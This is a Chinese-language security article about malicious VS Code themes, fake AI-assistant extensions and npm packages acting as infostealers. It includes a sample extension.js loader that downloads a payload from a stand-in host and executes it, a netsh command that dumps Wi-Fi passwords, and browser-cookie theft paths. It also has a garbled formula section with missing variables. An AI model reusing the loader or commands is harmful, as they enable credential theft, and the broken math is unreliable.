你相信你的工具。这是开发者心照不宣的第一准则。当你 npm install 一个库,或者在 VS Code 里点击一款炫酷新深色模式的“安装”按钮时,你期待的不是特洛伊木马,而是更好的语法高亮,是效率的提升。
但一波大规模、新型的供应链攻击已经彻底击碎了这种信任,将你的开发环境本身变成了网络犯罪分子的监听站。
Check Point、Phylum 等安全公司的研究人员揭露了一场精心策划、协同作战的攻击活动,目标直指现代开发栈的核心:VS Code、npm、Go 和 Rust。这不仅仅是代码有 bug、暗藏挖矿程序或烦人的广告软件那么简单。这些是精密打造的“信息窃取器”,伪装成高级主题(如“Bitcoin Black”)和前沿 AI 助手(如“Codo AI”和“Chengdu AI”)。
它们不只是窃取你的代码——还会拿走你的 Wi-Fi 密码、SSH 密钥、浏览器 Cookie,甚至截取你当前桌面的清晰屏幕截图。
这篇深度解析将详细拆解这些扩展程序的工作原理、“冒名顶替”式攻击的运行逻辑、推动这股浪潮的经济动因,以及为什么“已验证”徽章可能也不足以保护你。
诱饵:为什么现在事关重大
多年来,“供应链攻击”这个词让人联想到 SolarWinds 入侵事件——一次由国家支持、针对构建服务器的高级别入侵,影响波及数千家政府机构。对于普通前端开发者或数据科学家来说,它感觉遥远而抽象。
这波新浪潮是切身的。它瞄准本地机器上的个人开发者,常常通过依附于受信任协议,完全绕过企业防火墙。
名为“Bitcoin Black”的扩展程序承诺为加密货币交易者提供一款 sleek 的深色主题,下载量高达数千次。同样,“Codo AI”借 ChatGPT 和 DeepSeek 的 hype 之势,宣称自己是一款集成式 AI 助手。结果它非但没有帮你写代码,反而在静默部署一个基于 DLL 的信息窃取器。
可怕的是?它得逞了。 因为这些工具驻留在你的 IDE 内部,它们继承了开发环境的高级权限。对混淆代码的分析显示,其 postinstall 脚本会收集环境变量(你存放 AWS 密钥的地方),并执行 shell 命令。
“攻击者不再只是砸开前门;他们伪装成你搬进家里的家具。”
技术深潜:攻击的解剖结构
一个“主题”——理论上不过是一堆十六进制代码的 JSON 文件——怎么能偷走你的 Wi-Fi 密码?其机制 surprisingly 复杂,显示出攻击者对 VS Code 扩展架构有着深刻理解。
1. “冒名顶替”机制
- 域名仿冒/名称抢注:
prettier-vscode-plus听起来像是知名格式化工具 Prettier 的合法“Plus”版本。事实并非如此。它是“OctoRAT”恶意软件的传播载体。 - 热点跟风:“Bitcoin Black”瞄准开发者与加密货币爱好者的交集人群。“Codo AI”则利用了 AI 热潮。
他们会精心打磨 README,添加伪造的“已验证”徽章(以描述图片的形式插入),并利用机器人网络人为刷高下载量以显得可信。在 VS Code 应用市场中,社会认同是大多数用户的主要安全判断机制,而它很容易被伪造。
2. 载荷投递(DLL 投放)
安装后,主题在技术上主要由定义颜色的 JSON 文件构成。然而,VS Code 扩展也可以打包可执行代码和激活事件。
以 Bitcoin Black 为例,该扩展包含一个隐藏的 extension.js 文件,它的作用远不止应用颜色。
- 触发:在扩展激活(或 VS Code 启动)时,JavaScript 开始执行。
- 拉取:它向命令与控制(C2)服务器发起请求,该服务器通常托管在被攻陷的合法域名或廉价 VPS 上,伪装成一次无害的遥测检查。调查发现了与已知 C2 服务器的连接,该服务器此前曾关联 Lazarus Group。
- 投放:它下载第二阶段的载荷——通常是一个编译后的 PE(可移植可执行文件)或 DLL 文件。在“Anivia”活动中,这就是 OctoRAT。
下面是一个概念示例,展示恶意加载器代码在看似正常的 extension.js 中可以多么简单:
// 看起来像遥测
const telemetry = require('./telemetry-utils');
function activate(context) {
// 合法的主题激活代码...
// 恶意载荷
// 被混淆成分析统计代码
const u = "https://cdn-stats-track.com/update/v2/payload";
telemetry.checkUpdate(u).then(payload => {
// 执行下载到的缓冲区
require('child_process').exec(payload);
});
}
telemetry-utils 模块中包含获取二进制文件并执行它的逻辑,通常会将文件保存到 %TEMP%\vscode-updater.exe 这类临时目录中,以避免引起怀疑。
3. 数据窃取:快速洗劫
恶意软件不会停留在 VS Code 内部,而是利用主机系统资源来收集数据。
- Wi-Fi 凭证:通过在 Windows 上执行
netsh wlan show profile name="[SSID]" key=clear,它以明文形式获取 Wi-Fi 密码。这使攻击者在本地时就能物理入侵你的网络,或绘制企业网络凭证图谱。 - 浏览器会话劫持:它扫描
AppData/Local/Google/Chrome/User Data等目录,复制包含 Cookie 和已保存密码的 SQLite 数据库。这使攻击者可以通过复用你的会话 Cookie 绕过双因素认证(2FA)。 - 屏幕截图:通过调用 Windows API(如
BitBlt等),它截取屏幕画面。由于开发者常常在其他窗口(Postman、Notion、1Password)中显示敏感信息,这极具破坏性。 - 剪贴板劫持:它监控剪贴板中类似加密货币钱包地址或 API 密钥的字符串,并将其替换或记录。
4. 代码块:感染的数学原理
供应链中被感染的概率 随依赖数量 和信任因子 (0 代表盲目信任)呈指数级增长。
其中 表示每个包的风险。随着 (依赖数量)增加, 趋近于 1。
对于一名安装了 50 个扩展、且 node_modules 中有 1000 个 npm 包的资深开发者而言,攻击面是巨大的。
历史背景:一种失职的模式
这不是第一次。包管理器的历史就是一部信任被辜负的历史。
2018:event-stream 事件
一个广泛使用的 npm 包 event-stream 被原作者(因倦怠而无力维护)交给了一位名为“Right9delta”的新志愿者维护者。这位新维护者起初表现得很热心。随后,他注入了一个名为 flatmap-stream 的依赖,其中包含加密代码。该代码专门瞄准 Copay(一款比特币钱包应用)的构建流程,以窃取私钥。这就是“耐心型”攻击——先等到取得信任,再发动攻击。
2020:SolarWinds
供应链攻击中的“老祖宗”。攻击者攻陷了构建系统本身。虽然这是由国家支持的高级别行动,但它证明了一个道理:只要你能污染水源(代码源头),你就能污染整个村庄(所有使用它的用户)。
2024:XZ Utils 后门
就在今年,XZ Utils 后门事件展示了维护者如何花费数年时间建立信任,然后在一个核心 Linux 压缩库中插入精密后门。相比之下,VS Code 攻击是“快餐版”:快速、粗糙、大规模分发。
“Lazarus”的转变
国家支持的攻击者(如 Lazarus Group)已经从抢劫银行转向抢劫开发者。为什么?因为开发者掌握着银行的钥匙。他们的目标是互联网经济的“中间件”。
VS Code Marketplace 一直是一片“狂野西部”。与 Apple App Store 不同,这里几乎没有人工审核。自动扫描器只能检查已知病毒签名,而一段定制的混淆 JS 脚本往往能轻松绕过逻辑检查。
经济现实
为什么黑客瞄准开发者?ROI(投资回报率)。
一场针对银行员工的定向钓鱼活动需要投入时间、金钱和复杂的社会工程。而上传一个伪造的“AI 助手”扩展,成本是 $0。
如果有 5000 名开发者安装了它:
- 其中 10% 可能在财富 500 强公司工作。
- 其中 1% 可能在
.env文件中存放了 AWS 根密钥。 - 这就是 50 把“金钥匙”,而代价仅仅是一份伪造的 README。
优势是巨大的。攻击者的“销售成本”几乎为零,而通过出售访问权限(Initial Access Brokers)或部署勒索软件获得的潜在收益可达数百万美元。一把有效的企业 AWS 根密钥在暗网市场上的售价可达 $5,000 到 $50,000,具体取决于配额限制。
前瞻性分析:“零信任”IDE
行业正濒临一个转折点。市场数据表明,2026 年将出现三大转变:
- “开放”应用市场的终结:Microsoft 和 GitHub 很可能被迫实施类似“App Store”的审核流程。
- 沙盒化扩展:目前,扩展以你的用户权限运行。未来版本的 VS Code 可能会强制扩展在 WASM 沙盒中运行,默认无法访问文件系统。你必须像给移动应用授权相机权限一样,显式授予扩展读取
/src文件夹的权限。 - 企业“白名单”:企业将停止允许开发者随意安装任何扩展。内部应用市场可能会兴起,只提供经过审核的扩展。
你今天必须做的事
你不能等 Microsoft 出手。
- 审计你的扩展:打开扩展标签页。如果不是每天使用,就卸载它。
- 检查发布者:点击发布者名称。他们有网站吗?有 GitHub 仓库吗?如果是通用名称或全新账号,不要安装。
- 使用扫描工具:像 Socket 和 Snyk 这样的工具已经开始扫描 IDE 扩展,而不仅仅是 npm 包。请使用它们。
- 网络过滤:在 Mac 上使用 Little Snitch 等工具监控 VS Code 在连接哪里。如果你的“主题”正在与非标准地区的服务器通信,请阻止它。
结论:“特洛伊主题”时代已经到来。你的 IDE 不再是避风港,而是战场。写代码时务必当心。
资料来源 (3)
- thehackernews.com Researchers Find Malicious VS Code, Go, NPM Packages
- infosecurity-magazine.com Malicious VS Code Extensions Found Stealing Data
- hunt.io The Anivia/OctoRAT Attack Chain
🦋 Bluesky 讨论
在 Bluesky 上讨论